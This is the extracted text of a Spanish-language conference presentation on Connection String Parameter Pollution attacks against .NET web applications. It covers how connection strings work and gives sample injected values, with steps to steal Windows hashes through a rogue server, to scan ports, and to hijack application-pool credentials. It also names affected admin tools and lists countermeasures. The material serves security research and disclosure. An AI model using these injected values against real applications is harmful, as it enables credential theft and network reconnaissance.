Post on 04-Jul-2015
description
Chema AlonsoInformática 64Chema AlonsoInformática 64
Cadenas de Conexión
• Definen la manera en que una aplicación web se conecta a un repositorio de datos
• Hay cadenas de conexión para:– Bases de datos
– Archivos en sistemas de ficheros
– Servidores LDAP en procesos de Binding
– …
Cadenas de conexión a BBDD
Data Source = myServerAddress;
Initial Catalog = myDataBase;
User Id = myUsername;
Password = myPassword;
Se pueden encontrar en Google
Se pueden encontrar en Google
Ficheros UDL
Credenciales
Cuentas de Sistema Operativo
Data Source = myServerAddress;
Initial Catalog = myDataBase;
User Id = myUsername;
Password = myPassword;
Integrated Security = SSPI/True/Yes;
Cuentas de la Base de datos
Data Source = myServerAddress;
Initial Catalog = myDataBase;
User Id = myUsername;
Password = myPassword;
Integrated Security = No;
Syslogins
Tabla usuarios
Cadena de conexión
1.- La aplicación web se conecta con credenciales de la BD.
2.- Se piden credenciales al usuario.
3.- La aplicación web comprueba las credenciales en una tabla de usuarios.
Select from tabla
La aplicación Web controla la autenticación
Motor de Base de datos App en Servidor Web
Validación usuarios en aplicación web
Syslogins Cadena de conexión
1.- Se piden credenciales al usuario.
2.- La aplicación web construye la cadena de conexión con las credenciales del usuario.
El motor de BBDD controla la autenticación
Validación usuarios en motor de BBDD
Motor de Base de datos App en Servidor Web
Connection String Attacks
• Es posible inyectar parámetros en las cadenas de conexión separándolos por punto y coma.
Data Source = myServerAddress;Initial Catalog = myDataBase;Integrated Security = NO;User Id = myUsername;Password = myPassword; Encryption = Off ;
ConnectionStringBuiler
• Incluido en el .NET Framework 2.0
• Crea cadenas de conexión mediante parámetros
• Impide la inyección de código
La realidad
Connection String Parameter Pollution
• La idea es inyectar un parámetro que ya existe
• Duplicando el valor del parámetro, el último prevalece en los entornos .NET.
• Esto permite a un atacante cambiar completamente el funcionamiento de la cadena de conexión y de la aplicación.
CSPP Attack 1: Robo de Hash
1.- Se monta un servidor controlado:Rogue_Server
2.- Se activa un sniffer de credencialesCain/Wireshark
3.- Se hace una polución del parámetroData_Source=Rogue_Server
4.- Se fuerza el uso de autenticación WindowsIntegrated Security=true
CSPP Attack 1: Robo de Hash
Data source = SQL2005; initial catalog = db1;Integrated Security=no; user id=+’User_Value’+; Password=+’Password_Value’+;
Data source = SQL2005; initial catalog = db1;Integrated Security=no; user id= ;Data
Source=Rogue_Server; Password=;Integrated Security=True;
CSSP 1:ASP.NET Enterprise Manager
CSPP Attack 2: Port Scanning
1.- Se hace una polución del parámetro con el servidor a escanear y el puerto
Data_Source=Target_Server,target_Port
2.- Se evalúan los mensajes de error de la aplicación
CSPP Attack 2: Port Scanning
Data source = SQL2005; initial catalog = db1;Integrated Security=no; user id=+’User_Value’+; Password=+’Password_Value’+;
Data source = SQL2005; initial catalog = db1;Integrated Security=no; user id= ;Data
Source=Target_Server, Target_Port; Password=Void;
CSPP 2: myLittleAdmin
Puerto Abierto
CSPP 2: myLittleAdmin
Puerto Cerrado
CSPP Attack 3: Hijacking Web Credentials
1.- Se hace una polución del parámetro
Data_Source=Target_Server
2.- Se fuerza el uso de autenticación Windows
Integrated Security=true
3.- El pool de aplicaciones envía la cuenta de Windows con que está corriendo para autenticarse en el motor de bases de datos
CSPP Attack 3: Hijacking Web Credentials
Data source = SQL2005; initial catalog = db1;Integrated Security=no; user id=+’User_Value’+; Password=+’Password_Value’+;
Data source = SQL2005; initial catalog = db1;Integrated Security=no; user id= ;Data
Source=Target_Server; Password=;Integrated Security=true;
CSPP Attack 3: Web Data Administrator
CSPP Attack 3: myLittleAdmin/myLittleBackup
CSPP Attack 3: ASP.NET Enterprise Manager
Otras bases de datos
• MySQL no soporta autenticación integrada
• Oracle SÍ soporta autenticación integrada en Windows y es posible realizar estos ataques– Además es posible cambiar la conexión de nivel
para pasarla a conexión como sysdba
DemoDemo
myLittleAdmin/myLittleBackup
myLittleTools ha sacado un advisory de seguridad y un parche
ASP.NET Enterprise Manager
• ASP.NET Enterprise Manager está “abandonada”, pero se dispone del código fuente
ASP.NET Enterprise Manager
• ASP.NET Enterprise Manager está “abandonada”, pero se dispone del código fuente
ASP.NET Web Data Admistrator
ASP Web Data Administrator es segura en su versión liberada en CodePlex
Contramedidas
• Fortificación de Firewall
• Fortificación de cuentas utilizadas en pool de aplicaciones y bases de datos.
• Usar ConnectionStringBuilder
• Filtrar el ;)
¿Preguntas?
ContactoChema Alonso chema@informatica64.comhttp://www.informatica64.comhttp://elladodelmal.blogspot.com
AutoresChema Alonso Manuel FernándezAlejandro Martín BailónAntonio Guzmán